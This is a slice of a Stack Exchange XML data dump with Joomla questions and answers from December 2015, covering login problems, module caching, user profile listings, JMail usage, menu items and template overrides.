  <row Id="14615" PostTypeId="1" CreationDate="2015-12-09T18:08:12.427" Score="1" ViewCount="2380" Body="&lt;p&gt;I build a site with Joomla 3.4 and all was fine. I think the authentication Joomla plugin was disabled accidentally. I tried everything to fix it in phpmyadmin jos-plugin table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I published the authentication-joomla ,user-joomla, com-user and all related but it isn't working.&lt;/p&gt;&#xA;" OwnerUserId="7398" LastActivityDate="2016-07-16T17:35:07.137" Title="Can't login to Joomla(3.4) back end or front end it keeps refreshing" Tags="|joomla-3.x|php|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14616" PostTypeId="1" AcceptedAnswerId="15729" CreationDate="2015-12-09T19:16:43.613" Score="0" ViewCount="112" Body="&lt;p&gt;I wish to know how to pre-fill Phoca gallery image to RSform file upload or hidden field so that if a user is viewing images created with Phoca gallery he/she can select an option to order that particular image, then a form opens with that image pre-filled in the form so that the user can fill in the other fields on the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example can be seen here: &lt;a href=&quot;http://www.pinkcakebox.com/category/pastry-images/children-cakes/&quot; rel=&quot;nofollow&quot;&gt;http://www.pinkcakebox.com/category/pastry-images/children-cakes/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, If you click on any thumbnail, the large image appears with a button on the top right corner asking if you want the said cake, if you click on it, it takes you to the cake order form so that you can order the cake.&lt;/p&gt;&#xA;" OwnerUserId="7399" LastEditorUserId="1629" LastEditDate="2016-03-17T14:46:10.173" LastActivityDate="2016-03-17T15:06:47.277" Title="Prefill Phoca Gallery image into RSForm file upload or hidden field" Tags="|joomla-3.4|rsform|phocagallery|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-22T08:37:02.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="14617" PostTypeId="2" ParentId="14615" CreationDate="2015-12-10T00:02:52.220" Score="1" Body="&lt;p&gt;You haven't give a lot of information, like if you tried to move the website from server to server, or if you are getting any messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have made sure that the required plugins are enabled, then I would suggest you to review your configuration file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the configuration check if the following variables have any values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $cookie_domain&#xA;public $cookie_path&#xA;public $live_site&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If yes, remove the values like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $cookie_domain = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then see if you can login.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-12-10T00:02:52.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14618" PostTypeId="1" CreationDate="2015-12-10T05:04:39.247" Score="2" ViewCount="679" Body="&lt;p&gt;Does anyone have an idea how to embed Mapbox map into a joomla module?&lt;br&gt;&#xA;(To create and use Mapbox map it requires free account sign up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example simple map &lt;a href=&quot;https://www.mapbox.com/mapbox-gl-js/examples/&quot; rel=&quot;nofollow&quot;&gt;https://www.mapbox.com/mapbox-gl-js/examples/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7133" LastEditorUserId="3650" LastEditDate="2016-03-08T00:51:45.437" LastActivityDate="2018-01-15T18:22:44.827" Title="Embed mapbox in Joomla module" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14619" PostTypeId="1" AcceptedAnswerId="14640" CreationDate="2015-12-10T06:10:52.837" Score="0" ViewCount="2238" Body="&lt;p&gt;I use Joomla 3.4.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to view list of users in front end. Along with username i need to view profile data, email and phone, in front end. Is there and extension/plugin/component available? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked many plugins but no one give phone number. They provide registration date, and other data, but for me email and phone no are important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7402" LastActivityDate="2018-12-23T20:20:28.420" Title="How to view joomla user in frontend with profile data?" Tags="|joomla-3.4|user|front-end|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14620" PostTypeId="1" AcceptedAnswerId="14641" CreationDate="2015-12-10T06:21:08.473" Score="1" ViewCount="690" Body="&lt;p&gt;Can we customize global configurations ( configuration.php ) to add custom parameters? . As it stores DB / FTP settings, I want to add payment gateway configurations. If there is a way to add configuration / parameters in a component then that will be helpful as well.&lt;/p&gt;&#xA;" OwnerUserId="7401" LastActivityDate="2015-12-11T22:18:30.613" Title="Customize Global Configuration" Tags="|joomla-1.5|global-configuration|custom-field|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14621" PostTypeId="2" ParentId="14619" CreationDate="2015-12-10T06:49:47.437" Score="0" Body="&lt;p&gt;One way of doing this is to create a new article and insert a php code which will connect to the database and read from the users table. To do that you will need an extension that lets you use php in articles. I personally use Sourcere but you can use any. Here's a sample of the code that can get you started.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo(); &#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;quoteName(array('username', 'email')))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__users'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($result as $row) {&#xA;echo $row-&amp;gt;username.'|'.$row-&amp;gt;email;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for the phone number and other profile things you can do the same but change the name of the table to &lt;code&gt;__user_profiles&lt;/code&gt;. So the code will look something like below. Also, check the database tables to see the column and row values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;quoteName(array('profile_key')))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__user_profiles'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($result as $row) {&#xA;if( ($row-&amp;gt;profile_key) == &quot;profile.phone&quot;)&#xA;echo $row-&amp;gt;profile_value;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3721" LastEditorUserId="3721" LastEditDate="2015-12-10T10:16:36.707" LastActivityDate="2015-12-10T10:16:36.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14622" PostTypeId="1" CreationDate="2015-12-10T09:07:35.487" Score="0" ViewCount="476" Body="&lt;p&gt;I created some Joomla module for my client and he installed it in his backend. After a while I made some edits in the module and my client reinstalled it but my edits don't apply on his website (though they successfully apply on my website). On the System tab of his website the Progressive caching is enabled. I turned caching off in the Advanced tab of the module, select the module in the Manage tab and refreshed its cache and also cleared all the cache in the System tab of client's backend but nothing resolved the problem. What did I miss? How to clear the cache of my module completely and apply my edits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED:&lt;/strong&gt; My module does some stuff depending on the current url of a page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parts = explode(JURI::base(), JURI::getInstance()-&amp;gt;toString());&#xA;$currentUrl = $parts[1];&#xA;echo $currentUrl;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I found out when I pass to another page the code echoes the url of previous page but not the current one. It seems like some cache of urls. How can I clear it?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-12-10T11:20:08.203" LastActivityDate="2019-01-25T21:43:05.550" Title="Can't clear a cache of Joomla module" Tags="|joomla-3.x|module|joomla-api|cache|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="14623" PostTypeId="2" ParentId="14615" CreationDate="2015-12-10T09:25:49.447" Score="2" Body="&lt;p&gt;Strangely had the same issue with a client site once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried removing the &lt;code&gt;.htaccess&lt;/code&gt; file and replacing all core files with a fresh copy of Joomla, but still didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I found that there appeared to be a problem with the &lt;code&gt;configuration.php&lt;/code&gt; file. All the variables were in a jumbled order and there were values set that shouldn't have been.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up replacing it with a fresh copy of the file and changing the main variables such as database details, log/tmp directories and secret.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-10T09:25:49.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14624" PostTypeId="2" ParentId="14563" CreationDate="2015-12-10T11:42:06.537" Score="0" Body="&lt;p&gt;Both the answers given were useful and I've upvoted them both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after working through the options and discussing the requirements in more detail with the client, we've reached an alternative solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we've done is to install the Weblinks plugin. (this was core in earlier versions of Joomla but is now separated and can be installed from the JED).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weblinks allows us to have categorised links to external resources, along with a description for each. It meets the requirement pretty much exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of minor issues down to the fact that it's a separate plugin from the rest of the content, but the client is happy to live with them. The biggest of these issues is that Weblinks entries aren't included in search results. But this is mitigated by the fact that weblink category pages have their own search/filter function.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2015-12-10T11:42:06.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14625" PostTypeId="2" ParentId="14555" CreationDate="2015-12-10T17:18:09.310" Score="0" Body="&lt;p&gt;This is what finally fixed the problem for me. Thanks to everyone that took time to respond and to help troubleshoot, especially @garth and @FFewin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moved Joomla .htaccess file to the addon root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In .htaccess:&#xA;Commented out Options +FollowSymLinks&#xA;Enabled RewriteBase /&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[NOTE: RewriteBase / originally was RewriteBase /cmsfolder/ ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Config file:&#xA;public $live_site = ''&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reach Admin, changed direct-access URL to reflect new direct Website path to Joomla site.&lt;/p&gt;&#xA;" OwnerUserId="7370" LastActivityDate="2015-12-10T17:18:09.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14627" PostTypeId="1" CreationDate="2015-12-10T18:09:33.347" Score="6" ViewCount="529" Body="&lt;p&gt;Forgive my ignorance about OpenSearch, but after providing the OpenSearch name and description, I have no idea how to see if it's in effect, or where to see evidence that the site is &quot;openly&quot; searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain briefly what the expected results are of configuring the OpenSearch information?&lt;/p&gt;&#xA;" OwnerUserId="285" LastEditorUserId="3650" LastEditDate="2016-03-06T22:59:04.983" LastActivityDate="2016-05-25T07:37:19.193" Title="How to use OpenSearch?" Tags="|smartsearch|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14628" PostTypeId="1" CreationDate="2015-12-11T09:09:15.977" Score="0" ViewCount="600" Body="&lt;p&gt;I am using Joomla 1.5 and I would like to know if my mail will be sent if I run the function after &lt;code&gt;redirect();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$callback   = new stdClass();&#xA;$callback-&amp;gt;LeaveID    = $leaveid;&#xA;$callback-&amp;gt;callback   = 1;&#xA;$callback-&amp;gt;balance_cf = $balance_cf;&#xA;$callback-&amp;gt;remarks    = $remarks;&#xA;&#xA;if($db-&amp;gt;updateObject('#__leaves',$callback,'LeaveID')) {&#xA;  $app-&amp;gt;redirect($url,' Callback Perfomed Successfully');&#xA;} &#xA;else {&#xA;  echo 'Not saved - Leave App';&#xA;}&#xA;&#xA;mail($user-&amp;gt;email,$somesubject,$message,implode(&quot;\r\n&quot;,$headers));`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will the mail function be executed if the &lt;code&gt;$db-&amp;gt;updateObject()&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3854" LastEditorUserId="168" LastEditDate="2015-12-11T09:11:42.863" LastActivityDate="2016-05-09T15:03:51.187" Title="When I use a redirect() function in my code before the php mail() function, will the mail be sent? am using joomla v1.5" Tags="|php|joomla-api|emails|joomla-1.5|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14629" PostTypeId="2" ParentId="14628" CreationDate="2015-12-11T10:20:08.327" Score="1" Body="&lt;p&gt;Rather than using the PHP mail function, I'll show you how to use Joomla's &lt;code&gt;JMail&lt;/code&gt; class. We'll also make sure that the email is always sent and the database is updated after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$callback             = new stdClass();&#xA;$callback-&amp;gt;LeaveID    = $leaveid;&#xA;$callback-&amp;gt;callback   = 1;&#xA;$callback-&amp;gt;balance_cf = $balance_cf;&#xA;$callback-&amp;gt;remarks    = $remarks;&#xA;&#xA;// Let's firstly send the email&#xA;$mail = &amp;amp;JFactory::getMailer();&#xA;$mail-&amp;gt;setSubject($somesubject);&#xA;$mail-&amp;gt;setSender('me@example.com');&#xA;$mailer-&amp;gt;addRecipient('to@example.com');&#xA;$mail-&amp;gt;isHTML(true);&#xA;$mail-&amp;gt;setBody($message);&#xA;&#xA;$send = $mail-&amp;gt;Send();&#xA;&#xA;if ($send == true)&#xA;{&#xA;    // The email was sent, so we can now do the database updates&#xA;    if ($db-&amp;gt;updateObject('#__leaves', $callback, 'LeaveID'))&#xA;    {&#xA;        $app-&amp;gt;redirect($url, 'Callback Perfomed Successfully');&#xA;    } &#xA;    else&#xA;    {&#xA;        echo 'Not saved - Leave App';&#xA;    }&#xA;} &#xA;else&#xA;{&#xA;    // Error sending the email&#xA;    echo 'Error sending email: ' . $send-&amp;gt;__toString();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I may have accidentally made a small mistake as it's been a long time since I've written any code for the old Joomla 1.5, but hopefully it will push you in the right direction&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-12-11T11:25:55.940" LastActivityDate="2015-12-11T11:25:55.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14631" PostTypeId="2" ParentId="14246" CreationDate="2015-12-11T11:59:57.983" Score="1" Body="&lt;p&gt;You have to load the template language files in the component itself, because Joomla renders the component before the template. Therefore you cannot load an component language override in the template (index.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to do the following things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;templates/your_template/language/en-GB/en-GB.com_yourcomponent.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/components/your_component/yourcomponent.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insert before&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$controller-&amp;gt;execute(JRequest::getCmd('task'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_yourcomponent' , JPATH_SITE.'/templates/your_template', $language-&amp;gt;getTag(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should work, I have tested this with my custom component some minutes ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Untested:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the html/com_yourcomponent/viewname/default.php overrides to load your custom language file I guess. Just put the commands at the top of the file (after _JEXEC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this will also work without editing the core component.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2015-12-11T12:07:08.227" LastActivityDate="2015-12-11T12:07:08.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14632" PostTypeId="2" ParentId="14628" CreationDate="2015-12-11T12:23:31.713" Score="0" Body="&lt;p&gt;Your Question: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will the mail function be executed if the $db-&gt;updateObject() returns&#xA;  true?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Answer: &lt;strong&gt;No.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to execute functions before returns or redirects put them just before such statements.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;i fear mail() using up all the resources before trying the update..that's why am running it after –&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This shouldn't happen unless your host server is from the 80s or you have just &amp;lt; 16 MB RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recommendations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please switch to the latest Joomla, don't use deprecated software. Your site is vulnerable to hacks, and puts your visitors to unnecessary risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the native Joomla mailer lib.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using dynamically generated recipient lists (like sending a mail from a contact form), limit the max recipients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use $db-&gt;quote()&lt;/strong&gt; for inserting data or at least &lt;strong&gt;htmlspecialchars&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2015-12-11T12:23:31.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14634" PostTypeId="1" CreationDate="2015-12-11T13:50:05.287" Score="3" ViewCount="98" Body="&lt;p&gt;How can I hide a menu item, without breaking its route?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have an example.com/hiddenpage route that goes to a single article, but I don’t want the hiddenpage to be visible anywhere in the menu system.&lt;/p&gt;&#xA;" OwnerUserId="7407" LastEditorUserId="3650" LastEditDate="2016-11-13T11:22:32.110" LastActivityDate="2016-11-13T11:22:32.110" Title="How can I hide a menu item, without breaking its route?" Tags="|joomla-3.x|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14635" PostTypeId="2" ParentId="14634" CreationDate="2015-12-11T14:42:53.530" Score="4" Body="&lt;p&gt;Simply create Hidden Menu (call it whatever you want) which is not to be used in any menu module. It will hold menu items not visible on front end, and put your menu item in it.  &lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-12-11T14:42:53.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14637" PostTypeId="1" CreationDate="2015-12-11T17:41:54.143" Score="5" ViewCount="1403" Body="&lt;p&gt;In Joomla 3, when creating a &lt;code&gt;User&lt;/code&gt; from the administration panel I want him to receive a confirmation email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In global configuration I set &lt;code&gt;New User Account Activation&lt;/code&gt; to &lt;code&gt;Self&lt;/code&gt; and &lt;code&gt;Send Password&lt;/code&gt; to &lt;code&gt;Yes&lt;/code&gt; but still not receiving the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server mail settings are correct as I am able to send messages through the contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="7410" LastEditorUserId="1629" LastEditDate="2015-12-11T18:18:49.283" LastActivityDate="2016-04-18T22:01:30.067" Title="Create user from administrator and send email" Tags="|user|emails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14638" PostTypeId="2" ParentId="14637" CreationDate="2015-12-11T18:26:40.203" Score="5" Body="&lt;p&gt;The default behavior is that Joomla will send out an email to new users when created from the admin area (to the email in the &quot;Email&quot; field of the user settings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of reasons I can think of if you don't receive the message:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;User plugin settings&lt;/strong&gt;&lt;br&gt;&#xA;Locate the plugin &lt;strong&gt;User - Joomla&lt;/strong&gt; in the plugin manager, and make sure it's set to send email notifications on user create:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MDXZf.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDXZf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WRW6O.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WRW6O.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Double check that Joomla can send out messages (email settings in &lt;em&gt;Global configuration&lt;/em&gt; -&gt; &lt;em&gt;Server&lt;/em&gt; -&gt; &lt;em&gt;Mail settings&lt;/em&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure the email entered in the user settings is correct (this is where the notification is sent)&lt;/li&gt;&#xA;&lt;li&gt;Check your spam folder&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-12-11T18:26:40.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14639" PostTypeId="2" ParentId="14572" CreationDate="2015-12-11T22:00:22.193" Score="1" Body="&lt;p&gt;Try following code - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_SITE_COMPONENT.'/helpers/your.class.php');&#xA;YOURCLASS::do();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$instance = new Yourclass();&#xA;$instance-&amp;gt;do();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use a static class with inherited methods like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;YOURCLASS::$subclass-&amp;gt;do();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also inherit or extend Joomla classes (check the documentation) and please use Joomla's native functions for mailing or database management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If you use php files with Joomla, please put the following line at the top of every file to prevent external access to your scripts:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="3637" LastEditDate="2016-02-10T12:39:58.740" LastActivityDate="2016-02-10T12:39:58.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14640" PostTypeId="2" ParentId="14619" CreationDate="2015-12-11T22:12:41.053" Score="0" Body="&lt;p&gt;You can write a module or plugin to get this done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A shorter way is to download a module which shows your user list and edit the view file (modules/mod_xyz/tmpl/default.php). If not badly written you can just replace unnecessary things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know which one you need, just print_r or var_dump your db user object (see zeidanbm answer) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($result);&#xA;die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Don't do that on a live site.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will get a print out of the object and the available fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, can't offer a more detailed answer, I just would write down a complete module...&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2015-12-11T22:12:41.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14641" PostTypeId="2" ParentId="14620" CreationDate="2015-12-11T22:18:30.613" Score="3" Body="&lt;p&gt;&lt;strong&gt;First: Use a current Joomla. Your 1.5 site will be hacked in no time.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second - the answer (Joomla 2.x - 3.x):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add component params to the component configuration. (You can access the component config in the backend. Just navigate to the component and click the option button in the toolbar.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to add / extend component params:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_configuration/en&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_configuration/en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Access the params in the fronted view:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$params = JComponentHelper::getParams('com_yourcomponent');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$test = $params-&gt;get('param_name');&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2015-12-11T22:18:30.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14642" PostTypeId="1" CreationDate="2015-12-11T23:46:38.707" Score="1" ViewCount="132" Body="&lt;p&gt;When reading a blog post the category title is given the h1 heading and the blog post is also given the h1 heading. I think I want to remove the category heading totally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a menu option setting involved or is a template override the solution? &lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2015-12-12T08:32:17.193" LastActivityDate="2015-12-15T21:54:14.860" Title="Hide blog layout title when reading an article" Tags="|category-blog|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14643" PostTypeId="2" ParentId="14642" CreationDate="2015-12-12T03:00:28.407" Score="2" Body="&lt;p&gt;Answer: I found it easiest to do a template override&lt;/p&gt;&#xA;&#xA;&lt;p&gt;override this: html/com_content/article/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I just commented out the page h1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;item-page&amp;lt;?php echo $this-&amp;gt;pageclass_sfx?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading')) : ?&amp;gt;&#xA;    &amp;lt;!-- &amp;lt;h1&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt;&#xA;    &amp;lt;/h1&amp;gt; --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2015-12-12T03:00:28.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14644" PostTypeId="2" ParentId="5220" CreationDate="2015-12-12T03:58:35.587" Score="0" Body="&lt;p&gt;maybe you can try this free online service to compress javascript &lt;a href=&quot;http://www.online-code.net/minify-js.html&quot; rel=&quot;nofollow&quot;&gt;http://www.online-code.net/minify-js.html&lt;/a&gt; and minify css &lt;a href=&quot;http://www.online-code.net/minify-css.html&quot; rel=&quot;nofollow&quot;&gt;http://www.online-code.net/minify-css.html&lt;/a&gt;, so it will reduce the size of web page.&#xA;and this tool is free to use, just need you upload your js and css file, you can download the mini file later.&lt;/p&gt;&#xA;" OwnerUserId="7412" LastActivityDate="2015-12-12T03:58:35.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
